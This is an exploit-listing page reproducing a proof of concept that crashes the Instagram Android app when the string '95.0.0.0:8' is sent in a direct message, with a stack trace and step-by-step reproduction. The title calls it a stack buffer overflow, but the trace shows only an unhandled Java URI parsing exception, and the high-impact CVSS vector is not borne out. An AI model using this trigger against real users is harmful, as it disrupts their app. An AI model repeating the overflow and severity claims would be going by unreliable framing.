Advertisement






Instagram App 287.0.0.22.85 - Local Stack Buffer Overflow (DOS)

CVE Category Price Severity
N/A CWE-119 Unknown High
Author Risk Exploitation Type Date
Unknown High Local 2023-06-14
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H 0.05719 0.5

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023060029

Below is a copy:

Instagram App 287.0.0.22.85 - Local Stack Buffer Overflow (DOS)
# Exploit Title: Instagram App 287.0.0.22.85 - Local Stack Buffer Overflow (Dos)
# Date: 2023-06-13
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.instagram.com
# Version: 287.0.0.22.85
# Tested on: Android 12

/**
#Stack Trace:
***************************************************
#OF:
Package name: com.instagram.android
Package version: 368407140
Process name: com.instagram.android
***************************************************
Caused by: java.net.URISyntaxException: Illegal character
in scheme name at index 0: 95.0.0.0:8
at java.net.URISParser.fail(URI.java:2893)
at java.net.URISParser.checkChars(URI.java:3066)
at java.net.URISParser.checkChar(URl.java:3076)
at java.net.URISParser.parse(URI.java:3092)
at java.net.URI.<init>(URI.java:584)
at X.BI5.A00(:1361229)
at X.BpQ.DMb(:73)
at X.6FI.DMd(:7)
at X.6Fn.A03(:10)
at X.110.DMe(:11)
at X.1ly.A03(:25)
at X.1lo.DMe(:11)
at X.11LAOW(:7)
at X.115.A03(:37)
at X.115.A02(:2)
at X.B90.A05(:1350672)
at X.BR2.onClick(:562)
at android.view.View.performClick(View.java:7763)
***************************************************
#Crash:
Exception class name: java.net.URISyntaxException
Source file: URI java
Source class: java.net.URISParser
Source method: fail
Line number: 2893
***************************************************
*/

# [ About App ]

#Instagram is a photo and video sharing social networking service owned by American company Meta Platforms,
#The app allows users to upload media that can be edited with filters and organized by hashtags and geographical tagging,
#Posts can be shared publicly or with preapproved followers. Users can browse other users' #content by tag and location,
#view trending content, like photos, and follow other users to add their content to a personal feed.

# [ Description ]

#Instagram is sensitive to illegal character, that's why Instagram closes after sending a message.

# [ POC ]

# 1.Enter the Instagram app
# 2.In the messages section, select a user to send a message
# 3.Enter illegal characters "95.0.0.0:8" in the message field
# 4.Click "Send"
# 5.Instagram Stopped :)

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.